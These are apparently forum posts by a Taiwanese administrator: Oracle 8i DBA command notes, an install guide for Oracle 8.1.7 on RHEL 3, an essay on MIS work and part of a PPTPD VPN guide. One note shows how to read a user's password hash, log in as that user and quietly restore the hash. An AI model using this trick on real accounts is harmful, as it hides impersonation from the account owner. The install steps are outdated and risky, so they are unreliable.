備份=>/ora805/bin/exp system/PASSWORD FILE=0218.dmp BUFFER=40960 FULL=Y GRANTS=Y
還原=>/ora805/bin/imp system/PASSWORD FILE=0218.dmp BUFFER=40960 FULL=Y GRANTS=Y
個別user備份=>exp scott/tiger file=scott.dmp log=log.txt
個別user還原=>imp scott/tiger file=scott.dmp show=y log=log.txt

用DBA還原個別user的資料:
imp system/manager fromuser=scott touser=scott file=0319.dmp show=y buffer=40960
======================================================================================
*建立表格空間(TABLESPACE)
SQL>CREATE TABLESPACE "SPACE_NAME" LOGGING DATAFILE 'PATH\DBFILENAME' SIZE 5M;

======================================================================================
*建立倒回區段(ROLLBACK SEGMENT),加上 PUBLIC開機將自動載入
SQL>CREATE PUBLIC ROLLBACK SEGMENT "SEGMENT_NAME" TABLESPAE "SPACE_NAME";
SQL> ALTER ROLLBACK SEGMENT "SEGMENT_NAME" ONLINE;

======================================================================================
*建立新使用者,並授權
SQL>CREATE USER "USERNAME" IDENTIFIED BY "PASSWORD" DEFAULT TABLESPACE "SPACE_NAME" TEMPORARY TABLESPACE "SPACE_NAME";
SQL>GRANT CONNECT,RESOURCE TO "USERNAME";

======================================================================================
*重建Oracle的Demo資料庫(Scott or other account)
--.找到utlsampl.sql,
SQL>@utlsampl.sql

======================================================================================
*在oracle裡用 SQL 語言單獨查詢 date type 中的 年 ,月 , 日
-->select to_char( sysdate , 'YYYY' ) FROM DUAL ==> 2000

======================================================================================
*Sequence
SELECT tablename_fieldname.nextval FROM dual    每執行一次數值會依設定增加或減少
SELECT tablename_fieldname.currval FROM dual    取得目前的Counter數值

======================================================================================
*oracle要查系統的現在時間
SQL>select sysdate from dual;

======================================================================================
*計算相差幾個月的方法
=>使用months_between(d1,d2)

======================================================================================
*長度超過2000 bytes時,SQL會出錯,因為Oracle不允許 SQL指令中的字串長度超過2000字元, 比較有效的方法是利用 stored procedure .
=>解決方法就是用 set serveroutput on size 或 dbms_output.enable()設定足夠大的 buffer

======================================================================================
*Oracle中,如何將圖檔存入欄位中
=>1.宣告欄位為LongRaw
    2.宣告欄位為Varchar2,長度自訂,用來存放圖形的路徑與檔名
    <PL/SQL>
    READ_IMAGE_FILE(:TEST.PATH, 'JFIF', 'TEST.IG');
    :TEST.PATH用來存放SELECT出來的路徑檔名
    EX:SELECT 出一筆'C:\IMAGE\TEST.JPG' DATA,  就是READ_IMAGE_FILE('C:\IMAGE\TEST.JPG','JFIF','TEST.IG')
    'JFIF'是SHOW JPEG格式

======================================================================================    
*要清除死掉或是要中斷某一使用者的連線
=>alter system kill session 'sid,serial#';

======================================================================================
*忘了system的密碼
=>看internal有沒有設密碼,若無,則以internal登入,
    ALTER USER ORACLE IDENTIFIED BY 密碼

======================================================================================    
*看連線資訊(Session)
=>select * from v$session;

======================================================================================
*Oracle 8.1.6@使用者無法 drop
=>drop user jog cascade;

======================================================================================
*php連到oracle
=>int ora_logon(string user, string password);

======================================================================================
*OEM2.04無法安裝在NT上,停在複製voc.ico然後就不動了
=>1)控制台->先改為english. 重開機.
    2)安裝在不同的目錄(有別於DEFAULT_HOME)

======================================================================================    
*oracle-如何將多建的欄位刪除?
=>
ALTER TABLE employee DROP COLUMN address;
or
ALTER TABLE employee DROP (address);

======================================================================================
*追蹤所有使用者的使用紀錄(包括使用了哪些SQL程序)
=>用 SQL Trace 及 TKPROF,去看 Oracle Tuning 手冊, Using the SQL Trace Facility and TKPROF 那一章,
AUDIT SQL statement 不會記錄這些東西,
只會記錄用到哪一種 SQL 指令的代碼,
不會記錄整個 SQL 指令....

<ex>
SELECT *  FROM sys.v_$sqlarea  WHERE parsing_user_id =
(SELECT DISTINCT user#  FROM sys.v_$session WHERE username = 'THE_USER_NAME');

v$seqarea 的 sql_text 只有前 1000 字元, 並非全部的 SQL 指令,
從 v$sqltext 才可組合出完整的 SQL 指令,

======================================================================================
*搜尋物件
=> select object_name from all_objects where object_name like '%NLS%'

======================================================================================
*從一個已存在的 Database Instance 中查它的 Character set
=>
1.select * from V$NLS_PARAMETERS;
2.select * from NLS_DATABASE_PARAMETERS
3.SELECT v.name, DECODE ( n.value, NULL, v.value, n.value ) value  , v.description
 FROM NLS_DATABASE_PARAMETERS n, V$PARAMETER v WHERE n.parameter(+) = UPPER(v.name)
  and name = 'nls_language' ORDER BY v.name

*Oracle Tunning
=>
1.DB block size大小要設OS block的倍數,read data 比較有效率
2.

======================================================================================
*Partition Pruning
=>oracle 8 支援 partition table (分割表格), 將一個大的表格,切分成不同的部份,可以存在不同的地方,
加速 disk io 來做資料的選取 , partition pruning 是可以讓sql 直接執行所要存取的 分割區( partition)  ,
而將其他不必要的patition 排除在外.

======================================================================================
*如何更改 oracle Table 欄名
=>無法直接更改欄名,只能 add 一個新欄名, 再 update, 再將舊的 drop.

======================================================================================
*自Oracle8i之後,exp多了一個參數QUERY=利用這個選項可以把某些部份予以匯出
   例如:
   exp scott/tiger tables=emp query=\"where deptno=10\"

======================================================================================  
*Oracle8i如何取出第5筆到第10筆資料?
=>  SELECT * FROM   your_table WHERE  rowid in (
          SELECT rowid FROM your_table WHERE rownum <= 10 MINUS
            SELECT rowid FROM your_table WHERE rownum < 5);

======================================================================================
*Oracle 沒有recno,只能用rowid識別資料的"行(row)",
轉換成第幾行則用rowno

======================================================================================
*在Oracle將字串轉日期的作法
=>select to_char(to_date('18/00/00','hh24/mi/ss'),'hh24/mi/ss') from dual;

======================================================================================
*  Oracle shutdown的時間
=>其實 shutdown normal 所需的時間比較不一定,如果線上有某個 user 死都不 logout ,  那 DB 就無法被shutdown 下來 !!
  如果是 Oracle 8 以上 ,
  可以改用 shutdown transactional 或 shutdown immedaite

======================================================================================  
*我用 Oracle 8 [Exp80] 匯出的 Dmp 檔, 如何讓 Oracle 7 Import 進入系統?
=>在 export 前需要先在 Oracle 8 的 sys 帳號下執行 catexp7.sql
然後在匯出...
but 你在匯入&匯出時所使用的export, import工具版本必須相同
ex..你使用exp80匯出..就應該用imp80匯入...

======================================================================================
*啟動/關閉archive log 模式
--1、管理器
SVRMGR> connect internal
SVRMGR> shutdown
SVRMGR> startup mount [dbname]
SVRMGR> alter database [dbname] archivelog;   --起用自動歸檔模式
SVRMGR> archive log start         --啟用自動歸檔模式,重啟資料庫後,按init.ora配置
SVRMGR> alter database [dbname] open;   --打開資料庫
SVRMGR> exit

  2、修改資料庫初始化文件,定義歸檔模式(自動)、歸檔日誌志文件保存路徑、歸檔日誌文件命名方法
修改/oracle/8.1.7/dbs/init.ora,
取消以下幾句的注解

log_archive_start = true
log_archive_dest_1 = "location=C:\Oracle\oradata\oradb\archive"
log_archive_format = %%ORACLE_SID%%T%TS%S.ARC

  3、重新啟動資料庫
 
======================================================================================  
*Oracle Database有三種關閉方式:
(在svrmgrl使用:)
1.shutdown normal
  正常方式關閉資料庫。

2.shutdown immediate
  立即方式關閉資料庫。
  在SVRMGRL中執行shutdown immediate,資料庫並不立即關閉,
  而是在Oracle執行某些清除工作後才關閉(終止會話、釋放會話資源),
  當使用shutdown不能關閉資料庫時,shutdown immediate可以完成資料庫關閉的操作。

3.shutdown abort
  直接關閉資料庫,正在訪問資料庫的會話會被突然終止,
  如果資料庫中有大量操作正在執行,這時執行shutdown abort後,重新啟動資料庫需要很長時間。

======================================================================================  
*改變使用者密碼再原封不動改回去
SQL> conn system/manager
SQL> select password from dba_users where username='USER1';(用戶名一定要用大寫)
結果:1F8E5A929B6861AC(這就是此用戶的密碼)
SQL> alter user USER1 identified by aaa;(改變此用戶的密碼)
SQL> conn user1/aaa(用此用戶連接)
SQL> 執行你想要的操作...
SQL> conn system/manager
SQL> alter user USER1 identified by values '1F8E5A929B6861AC';(改回原有密碼)

======================================================================================

22
貼一些舊筆記~
這個是沿路從RH6.2/ora815修改上來的,如有繆誤,請見諒
*****************************************************
ORACLE v8.1.7 FOR Linux Red Hat Enterprise AS 3.0 安裝筆記
            --written by Dandy
*****************************************************

1.以 root 的身分簽入,建立使用者 oracle 及群組 dba,並使oracle的群組為dba。

  #groupadd dba
  #useradd oracle -g dba

2.先用下列指令檢查系統內是否有安裝並符合下列套件,若不符合請安裝
  #rpm -q glibc
  #rpm -q tcl

應該會得到下列結果:
 *glibc-2.3.2-95.3 --(GLIBC package version 2.1 or higher)
 *tcl-8.3.5-92     --(TCL library version 7.5 or higher)http://www.scriptics.com

3.因為RHEL 3.0的binutils與Oracle 8i有不相容的情況,所以可採用RedHat7.0
所附的binutils-2.10.0.18-1.i386.rpm,
或從此下載,
ftp://ftp.redhat.com/pub/redhat/linux/7.0/en/os/i386/RedHat/RPMS/binutils-2.10.0.18-1.i386.rpm

或使用較穩的binutils-2.10.91.0.4-1.i386.rpm
http://www.kernel.org/pub/linux/devel/binutils/binutils-2.10.91.0.4-1.i386.rpm

#rpm -Uvh --force --nodeps binutils-2.10.91.0.4-1.i386.rpm

4.由於Oracle 8i的開發平台是建立在glibc 2.1(RedHat 6.2)上,所以在RedHat 7.x以上就無法正常運作,
  所以在安裝RedHat 7.x以上時須選擇Red Hat Linux 6.2相容套件,並執行下列指令:
  $export LD_ASSUME_KERNEL=2.2.5
 
  <***>此指令非常重要,也可在執行runInstaller.sh之前執行

<***>因為Oracle 8i跟RedHat 7的glibc 2.3不相容,會產生建立資料庫時的錯誤,
所以需要glibc 2.1 compatibility SDK, i386-glibc-2.1-linux.tar.gz,
由http://ftp.valinux.com/pub/support/hjl/glibc/sdk/2.1/i386-glibc-2.1-linux.tar.gz取得後,
進行下列步驟:
 <p1>.解壓縮到/usr
    #cd /
    #tar zxvf /tmp/i386-glibc-2.1-linux.tar.gz
 <p2>.將/usr/bin裡的gcc,ld備份到saved,另link到/usr/i386-glibc-2.1-linux/bin
    #cd /usr/bin
    #mkdir saved
    #mv gcc ld saved
    #ln -s /usr/i386-glibc-2.1-linux/bin/i386-glibc21-linux-gcc gcc
    #ln -s /usr/i386-glibc-2.1-linux/bin/i386-glibc21-linux-ld ld
 <p3>.將/usr/lib裡的libc.so,ibdl.so,libm.so,libpthread.so,libc.a,libdl.a,libm.a,libpthread.a備份
    #cd /usr/lib
    #mkdir saved
    #mv libc.so libdl.so libm.so libpthread.so saved
    #mv libc.a libdl.a libm.a libpthread.a saved
   
5.安裝JDK1.1.8
取得 JDK1.1.8 檔案 jdk118_v3-glibc-213tar.bz2, download後存放於 /tmp,執行下面指令 :

$cd /tmp
$tar -xvjf jdk-1.1.8_v3.tar.bz2 -C /usr/local
$ln -s /usr/local/jdk118_v3 /usr/local/java

6.確保使用者 oracle 擁有初始目錄 (home directory)
 $ chown -R oracle.dba /oracle

7.重新以oracle身份登入,在home裡面修改oracle環境參數,

  a.bash--.bash_profile,加入下列幾行(假設機器名稱為localhost):
  b.sh  --.profile

#Oracle 環境變數
PATH=$PATH:/oracle/8.1.7/bin; export PATH
DISPLAY=localhost:0.0
ORACLE_OWNER=oracle;export ORACLE_OWNER
ORACLE_HOME=/oracle/8.1.7; export ORACLE_HOME
ORACLE_BASE=/oracle; export ORACLE_BASE
ORACLE_SID=ORCL; export ORACLE_SID
ORACLE_TERM=vt100;export ORACLE_TERM
ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data;export ORA_NLS33
NLS_LANG="TRADITIONAL CHINESE.ZHT16BIG5";export NLS_LANG
CLASSPATH=/usr/lib/jdk/lib/classes.zip; export CLASSPATH
umask 022

 c.csh --.cshrc
#Oracle 環境變數
set path =($path /oracle/8.1.7/bin .)
setenv DISPLAY=ordb:0.0
setenv ORACLE_HOME /home/oracle/8.1.7
setenv ORACLE_BASE /home/oracle
setenv ORACLE_OWNER=oracle
setenv ORACLE_SID ORCL
setenv NLS_LANG "TRADITIONAL CHINESE.ZHT16BIG5"
setenv ORACLE_TERM=vt100
umask 022

8.把CDROM mount上去,將linux81701.tar由CDROM解壓縮至/tmp
  $cd /tmp
  $tar xvf /mnt/cdrom/linux81701.tar /tmp

  產生Disk1的目錄

9.一切就緒,登出系統,重新以oracle登入,先確定環境變數是否正確
  $env

10.啟動XWindow開始安裝:
  $startx

  開啟xterm,執行安裝程式便可開啟Java安裝畫面
  $cd /tmp/Disk1
  $./runInstaller.sh
  或直接打開GNU Midnight Command(桌面上的Home Directory資料夾),
  到/tmp/Oracle8iR2,執行runInstaller.sh

11.若看見安裝界面是oo的亂碼,請先退出,在xterm裡下一指令:
  $export LC_ALL=en_US


12.依照畫面執行即可,遇到UNIX GROUP NAME時,UNIX GROUP NAME留空白跳過,請按Next繼續.

12.遇到OUI的訊息提示有些檔案需有root權限,在xterm裡su成root下一指令:
  $su
  #/oracle/8.1.7/orainstRoot.sh     -->在/etc/裡增加檔案oraInst.loc

13.下一步選擇Oracle 8i Enterprise Edition 8.1.7.1.0

14.下一步選擇Custom安裝,將所有選項打勾,約需1.6GB左右,再選擇語系(Product Languages),加入
   繁體中文(Traditional Chinese)

15.下一步提示JDK的安裝路徑,  輸入/usr/local/java,按Next繼續.

16.下一步提示Privileged Operating System Groups,設定資料庫群組,default都為dba,請按Next繼續.

17.下一步選擇要不要在安裝時Create Database,選"YES"繼續

18.給予Global Database名稱和SID,由於Oracle 8i提供全球資料庫串連功能,所以你必須要為你的資料庫取一個
   獨一無二的名稱,不管你的資料庫分散在世界各地都可以直接存取,Global Database name 最好是ordb.oracle.com的格式
   
19.安裝將近結束時(約64%),會發生link錯誤,請開啟xterm安裝oracle的glibc patch.
   請開啟xterm,以oracle身份解壓glibc-2.1.3-stubs.tar.gz
  $cd /tmp
  $mkdir glibc
  $cd glibc
  $tar zxvf glibc-2.1.3-stubs.tar.gz
  $cd lib
  $cp -rf stubs /oracle/8.1.7/lib
  $setup_stubs.sh
<ps>應該會有兩次link錯誤,一次是64%,一次是94%,第二次應該修改/etc/ld.so.conf,
加入/oracle/8.1.7/lib,執行ldconfig  

20.安裝至最後會提示執行 root.sh,請開xterm,以root身份執行/oracle/8.1.7/root.sh
  $su
  #sh /oracle/8.1.7/root.sh

  local bin directory:/usr/local/bin

21.開始建立資料庫Create Database
  有三種型態的資料庫可選擇
  1.Online Transaction Process(OLTP):線上交易型
  2.Data Warehousing:資料倉儲型
  3.Multipurpose:多目標型
 請選擇Multipurpose(h目標型)

22.輸入連線人數,內定為15個user,先設為60

23.選擇要操作的default的資料庫,有
  1.Dedicated Server Mode(專用伺服器)--oracle將對每一個client分配資源,若client數目較預期少,或
                                       client持續且長時間向server做request時.
  2.Share Server Mode(共享伺服器)--oralce自動將數個client共享分配資源,適用於用戶較多時.
                                   MTS(Multi Transaction Service)將被啟動.
  若一般情況請選擇Dedicated Server Mode.

24.選擇options選項,請依照需求選取.

25.確定Global Database Name,SID,Initializaion Filename,Compatible Patameter,按Next繼續

26.確定Control Files,Maximum Datafiles,Maximum Log Files,Maximum Log Members,按Next繼續

27.確定System Tablespace,改變temporary和rollback這兩個tabs的大小為150Mb,按Next繼續.

28.確定Redo Log,改變大小為10000K,按Next繼續

29.確認Logging parameter,Enable Archive Log要打勾,按Next繼續

30.SGA 參數,增加Processes到100; Block Size到4096(此參數較適合small Linux boxes;
在大型的Solaris SUN上面最好調成8192,),按Next繼續

31.Trace File Directory,按Next繼續

32.Create database now,按Finish開始建立資料庫,128MB RAM約需2-3hr.

33.建立完畢後,安裝程序結束.離開Xwindow.

34.修改/etc/oratab,修改此行
     ORCL:/oracle/8.1.7:Y
                        ^^ dbstart 時 ORCL instance 自動起來

35.listener 自動啟動安裝,
<在/oracle/8.1.7/bin/dbstart 加入>

##自動啟動Listner
if [ -f $ORACLE_HOME/bin/lsnrctl ] ; then
  $ORACLE_HOME/bin/lsnrctl start
fi
##自動啟動Oracle Apache Jserv
if [ -f $ORACLE_HOME/Apache/Apache/bin/httpdsctl ] ; then
  $ORACLE_HOME/Apache/Apache/bin/httpdsctl start
fi

<在/oracle/8.1.7/bin/dbshut 加入>

##自動關閉Listner
if [ -f $ORACLE_HOME/bin/lsnrctl ] ; then
  $ORACLE_HOME/bin/lsnrctl stop
fi
##自動關閉Oracle Apache Jserv
if [ -f $ORACLE_HOME/Apache/Apache/bin/httpdsctl ] ; then
  $ORACLE_HOME/Apache/Apache/bin/httpdsctl stop
fi
##清除連線記錄
rm -f @ORACLE_HOME/network/log/listener.log


36.完成後請測試
        $/oracle/8.1.7/bin/dbstart
        $/oracle/8.1.7/bin/dbshut


37.開機自動啟動 Oracle
    請將oracle8i這個script cp至/etc/rc.d/init.d
        $cp oracle8i /etc/rc.d/init.d
    再加入開機服務程序中
    #chkconfig --add oracle8i
    #linuxconf
   用linuxconf即可控制啟動的層次.

38. Oracle的內定用戶 (Default User)
   在建立資料庫時,會自動產生兩個特別的用戶:
   --------------------------------------------------------
   Username                Password
   --------      -------------------
   SYSTEM                  manager
   SYS                     change_on_install

39.大功告成,將Oracle的Demo資料庫加入=>有名的SCOTT/TIGER測試帳號
SQL>@/oracle/8.1.7/rdbms/admin/utlsampl.sql

40.載入Oracle的測試script檔
SQL>SELECT * FROM TAB;

41.由於Oracle 8.1.7自帶有Apache Jserver,可由http://ordb:7777啟動,內有一個BC4J的範例檔,由以下步驟建立.
--<1>建立使用者bc4j
   create user BC4J identified by BC4J;

   <2>授權
   grant resource,connect to BC4J;

   <3>設定BC4J的Java 2(JServer)權限
SET VERIFY OFF;
EXEC DBMS_JAVA.GRANT_PERMISSION('BC4J', 'SYS:java.util.PropertyPermission', '*', 'write');
EXEC DBMS_JAVA.GRANT_PERMISSION('BC4J', 'SYS:java.util.PropertyPermission', '*', 'read');
EXEC DBMS_JAVA.GRANT_PERMISSION('BC4J', 'SYS:java.lang.RuntimePermission', 'createClassLoader', null);
EXEC DBMS_JAVA.GRANT_PERMISSION('BC4J', 'SYS:java.lang.RuntimePermission', 'setContextClassLoader', null);
COMMIT;
SET VERIFY ON;
EXIT;

<4>重新登入
connect BC4J/BC4J@ordb.oracle.com

<5>執行範例檔的pl/sql
@/oracle/8.1.7/Apache/BC4J/samples/onlineorders/sql_install/OnlineOrders.sql


42.修改kernel參數
Oracle 使用Linux的shared memory來運行SGA,所以要調整kernel參數符合SGA,
$ ipcs -al
------ Shared Memory Limits --------
max number of segments = 4096
max seg size (kbytes) = 32768   <--------------------------linux預設值是32Mb
max total shared memory (kbytes) = 8388608
min seg size (bytes) = 1

------ Semaphore Limits --------
max number of arrays = 128
max semaphores per array = 250
max semaphores system wide = 32000
max ops per semop call = 32
semaphore max value = 32767

------ Messages: Limits --------
max queues system wide = 16
max size of message (bytes) = 8192
default max size of queue (bytes) = 16384

shmmax是以位元組記的共用記憶體段的最大尺寸,
shmmni是共用記憶體段的最大數量
shmmax是共用記憶體總共最大容量(shmmax*shmmni)
sem是信號量參數,msgmax,msgmnb,msgmni是message queue的參數。

要改變share memory只能重新recompiler kernel,或者直接在proc設定,但重開就會恢復default設定
#echo 134217728 > /proc/sys/kernel/shmmax (SGA最大為128M)
#echo -e "250 32000 100 128" > /proc/sys/kernel/sem
請加入/etc/rc.d/rc.local,開機載入

------------------------------------------
以下為另一種參考值
cd /proc/sys/kernel/
echo 100 32000 100 100 > sem
echo 2147483648 > shmmax
echo 4096 > shmmni
echo 2097152 > shmall
echo 65536 > /proc/sys/fs/file-max
echo 1024 65000 > /proc/sys/net/ipv4/ip_local_port_range
------------------------------------------

43./oracle/8.1.7/bin/netasst有jre的bug,

$pico netasst

將$JRE -classpath $CLASSPATH oracle.net.asst.container.NetApplication oracle.net.asst.container.NetApplication
換成
$JRE -nojit  -classpath $CLASSPATH oracle.net.asst.container.NetApplication oracle.net.asst.container.NetApplication
         ^^^^^^
在xwindow內即可執行netasst,執行前還是先
$export LD_ASSUME_KERNEL=2.2.5
$export LC_ALL=en_US        
$netasst

44.Xwindow中開啟DBA Studio
$export LD_ASSUME_KERNEL=2.2.5
$export LC_ALL=en_US
$oemapp dbastudio        


45.COMPLETE.



$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
<不選擇Typical Configuration的做法>

19.請確定Typical Configuration沒有打勾,按Next繼續進入Oracle Database Configuration Assistant.
20.進入Directory Service Access,選擇No,按Next繼續
21.下一步Listener Name,輸入LISTENER,按Next繼續
22.下一步為通訊協定選擇,至少要有TCP,按Next繼續
23.下一步為TCP/IP Port選擇,default為1521,按Next繼續
24.下一步為Naming Methods Configuration,選No,Naming Methods Configuration
25.下一步為Listener設定結束,按Finish繼續
26.再回到建立資料庫的步驟.



----------------
oracle8i
----------------
#!/bin/sh
#
# chkconfig: 345 51 49
# description: starts the oracle dabase deamons ( part of the aD ACS install )
#
echo "Oracle 8i auto start/stop"

ORA_OWNER=oracle
ORA_HOME=/oracle/8.1.7

case "$1" in
   'start')

echo -n "Starting Oracle8i: "
su - $ORA_OWNER -c $ORA_HOME/bin/dbstart
touch /var/lock/subsys/oracle8i
echo
;;


'stop')

echo -n "Shutting Oracle8i: "
su - $ORA_OWNER -c $ORA_HOME/bin/dbshut
rm -f /var/lock/subsys/oracle8i
echo
;;


'restart')

echo -n "Restarting Oracle8i: "
$0 stop
$0 start
echo
;;

*)
echo "Usage: oracle8i {start | stop | restart }"
exit 1

esac
exit 0

23
MIS 討論區 / MIS到底做些什麼
« 於: 2005-09-26 03:04 »
來,今天來聊個比較soft的話題,就是MIS到底做些什麼.
相信這裡很多人都是MIS工作人員,所謂MIS的定義有很多,範圍也很廣,有些公司把他定義成水電工,有次居然有人問我,冷氣壞了你會不會修;也有人定義成高級專業人員,但大多數應該是定義成電腦維修人員,所謂電腦維修人員就是電腦壞了,你就要去修.可是很不幸的,電腦壞掉的因素有很多,有的是螢幕忘了開,電源忘了開,有的是軟體bug,有的是今天某個人狂抓A片,有的是ISP斷線......諸如此類,你都必須要去解決,相信我,因為我遇過一個總經理跟我說過,電腦壞了你不去修誰要去修?不能用...那就是壞了.所以,做為一個MIS,這就是你的宿命,你不用去管linux多好多強,Winddows多爛多容易中毒,請回歸到基本面想,電腦不能用,就是你的錯.
所以,努力擺脫MIS這一行,是你接下來要努力的方向,可是已經誤入歧途了怎麼辦?沒關係,你還有很多選擇:
1.去賣雞排--不要笑,這是真人真事.
2.replay--重新選擇一種比較容易昇級的屬性,比如像業務或RD之類的,一位老師傅跟我說過,他學了模具技術後,已經靠它吃飯30多年了,啊你學的電腦可以吃多久?
3.原地轉職--這基本上不大可能,公司認定你就是修電腦的

但如果你能夠把電腦弄到不大需要修,或者有很多部下幫你修,你就有可能level up.
前者牽涉到你的程度,這包含了你的專業技能跟訓練技能,多多幫公司同事上點課,對這方面會有幫助,他們懂得越多,電腦越不大需要你去修.
後者牽涉到你的運氣跟管理技能,要找到一間能給你很多IT配額的公司需要運氣,人多了意見多程度也多則需要管理.

回到主題,MIS到底做些什麼?這答案其實是依照產業類別,公司規模,老闆重視程度跟懂的程度跟信賴程度而定,科技公司,老闆可能會尊重專業一點,員工素質高一點,但素質高並不代表你比較輕鬆,你可能在他半桶水的電腦知識下常常弄到你人仰馬翻,像寄個信附個檔案沒什麼了不起,但如果附的是100MB,而又cc給全公司,而你又恰好忘了設mail limit(quota)的話,那你就完了.

MIS所做的工作其實以公司的角度來看的確是服務,真的跟水電工沒什麼差別,所差別的只是要看的書很多,要學的東西很多,但對user來說,我只要我的電腦可以用,就像我要求冷氣可以涼,電燈可以亮一樣,所以,你只能怨說自己當初要選這一行,和慶幸不用到處爬管子(佈線工程例外,很多公司認為佈線是MIS的工作).
至於要怎麼樣把電腦弄到不大需要修呢?有幾個方式:
1.多上課,當有80%的人懂得當機時要重新開機的時候,剩下那20%會覺得自己不會重新開機很丟臉,而會努力學著重新開機,甚至花錢去外面學著重新開機,而不是打電話給你---喂!我電腦壞了,來幫我看一下

2.訂立遊戲規則,最好能夠讓user覺得電腦壞了要經過重重簽核才能修,讓全世界都知道自己把電腦搞壞掉,擔誤自己的工作,罪大惡極,而不是"電腦部門都不來幫我修,害我工作趕不上進度"

3.關係一定要好,有的時候自己抓個問題三個月還不如一通電話3分鐘就解決

所以,人是習慣行為的動物,一旦你讓他習慣了某種行為模式,要他改變等於是重新學習新的模式,除非有誘因,像是比較好用,比較方便,或是比較省時等,否則是有一定的難度的,讓user瞭解哪一種運作模式比較好用,他就會比較肯去學習新的模式
一個好的MIS,或是說一個好的主管不可以都是活在經驗領域內,舊的經驗會依時空而轉變,會依現實環境懂得調整架構的MIS才是真正的專業人員,公司規模只有30個人的時候,只有一個office時,架個exchange自己什麼都不用管,泡茶看報紙去了,但如果公司是30000人要用mail時,你架個exchange,就是給自己找麻煩,你懂得越多,程度越高,越會因時制宜,什麼環境要配什麼架構自己會很清楚,很多時候爭辯windows跟linux哪一種好都不是很有意義的事,對於公司來說,人員可替代性高是好事,但對自己而言,可替代性高就不是好事,這並不是要你把系統環境弄得只有自己懂才顯得重要性,反而把系統架構弄的越單純,帶的人越能輕鬆處理,你兼任其他職務level up的可能性越高,也才越不容易取代.
當還在問說當網管有什麼前途的時候,事實上已經沒前途了,因為要當一個合格的網管,必須要管到公司電腦"不壞",所花的時間應該不大能夠包含思考這個問題時間,生涯規劃是一定要做,可是要先問看看自己為什麼會選這一行?是學校所學還是興趣?如果是學校所學的話,那就轉行吧,因為學校教的課程等到你就業時大多用不上.我相信在這裡大多數人是興趣,既然是興趣就不應該問前途了,興趣是無怨無尤的,只是追求個人的滿足感,跟前途無關.
說了那麼多廢話,只是有必要讓大家知道,MIS讓user電腦有問題就像水電工讓冷氣在夏天不會動一樣的嚴重,還好我已經不是MIS,cheers~

24
Linux 討論版 / PPTP VPN at 2003 Server Domain
« 於: 2005-09-26 00:42 »
radius

25
酷!學園 精華區 / 在RHEL4上架設PPTPD VPN
« 於: 2005-09-26 00:11 »
場景<4>當你想提供ftp/telnet或其他service給親朋好友使用,然後想使用tcp wrapper來確認來源ip,卻總是遇到一些動態ip的user,這時拼命加進hosts.allow也不是辦法,但是這時候卻可以請他們連上vpn後再來使用

場景<5>如果您的mail server不想使用auth smtp的話,請在外出差的user連回vpn後再寄信也是一種辦法

26
酷!學園 精華區 / 在RHEL4上架設PPTPD VPN
« 於: 2005-09-25 13:12 »
引述: "duncanlo"
我有2個小問題:
1. 可以提供多台client從外面同時連線嗎?!
2. 當多人同時連線時,假如有某人斷線,會不會所有人一起斷線?!


Ans.
1.可以,當每一個client從外面連線,會再起一個ppp的interface

26614 ?        Ss     0:00 /usr/sbin/pptpd
25204 ?        S      0:00  \_ pptpd [x.x.x.x:4000 - 0080]
25205 ?        S      0:00  |   \_ /usr/sbin/pppd localfile /etc/ppp/options.pp
25254 ?        S      0:00  \_ pptpd [x.x.x.x:0982 - 0100]
25255 ?        S      0:00      \_ /usr/sbin/pppd local file /etc/ppp/options.pp

而由ppp給他一個ip,當然這ip是由你的options.pptp而定
ppp0      Link encap:Point-to-Point Protocol
          inet addr:192.168.254.1  P-t-P:192.168.254.50  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1396  Metric:1
          RX packets:72 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:3
          RX bytes:11739 (11.4 KiB)  TX bytes:4473 (4.3 KiB)

ppp1      Link encap:Point-to-Point Protocol
          inet addr:192.168.254.1  P-t-P:192.168.254.51  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1396  Metric:1
          RX packets:54 errors:0 dropped:0 overruns:0 frame:0
          TX packets:28 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:3
          RX bytes:5720 (5.5 KiB)  TX bytes:1884 (1.8 KiB)

2.答案你應該知道了.

27
酷!學園 精華區 / 在RHEL4上架設PPTPD VPN
« 於: 2005-09-24 04:50 »
*****************************************************
在RHEL4上架設PPTPD VPN
            --written by Dandy
*****************************************************

1.前言

VPN(Virtual Private Network)是近年來以Public Net(WAN)為基礎所發展出來的一種虛擬網路架構,其原理當然就在"虛擬"這兩個字,當幾台Client端的電腦,透過"實體"連接,有可能使用Dialup,ADSL,Leased-Line,FramRelay,Firewall....等方式連上Internet或IPLC,透過"虛擬"的方式,就可以把這些機器視為同一個LAN下的機器,這跟一些高階Switch所提供的VLAN有點類似,但當然在網管規劃中不是屬於同樣的用法.
再來簡單談一下原理,其實可以想像成--在已建立好的TCP/IP環境下打通一個tunnel,讓你可以跟VPN server連接,連接後利用一些編碼加密的方式將你的pocket編碼,送到Server後再來解碼,好用的地方
個人覺得如下:
場景<1>公司內提供許多作業環境,有file server,Workflow,ERP...,且建有firewall,這些資源在外出差或者回到家的人並無法使用,或者在使用上必須打通firewall,造成安全上的困擾,這時vpn就可以派上用場

場景<2>做為一個MIS,通常都有幫許多user服務的時候,在LAN裡面,可以透過remote control來做,不必跑到user座位去,但您一定遇過某位大哥三更半夜也要你去他家處理的時候,這時候,您可以請他連上公司的vpn,
您也連上,就可以在家裡遙控他的電腦,這就是讓我想寫這篇的動力,原因是因為我找不到一個簡單好用又可以穿透兩個防火牆的remote control軟體,不管是rdp,vnc,anywhere,ra或是netop,都起碼要去設定gateway.請注意,在家裡面用adsl上網時,如果透過ip分享器,也算是類似防火牆的環境--要從pirvate ip來masq成public ip

場景<3>公司可能有大大小小的分公司遍布在全球,所能提供的線路也只能依照當地的環境來建立,像在泰國,越南,小小一個辦事處,總不能拉條幾MB的IPLC在處理,這時建立VPN是一個也算可行的方式,有許多的
硬體的VPN device可以作為參考,便宜又簡單


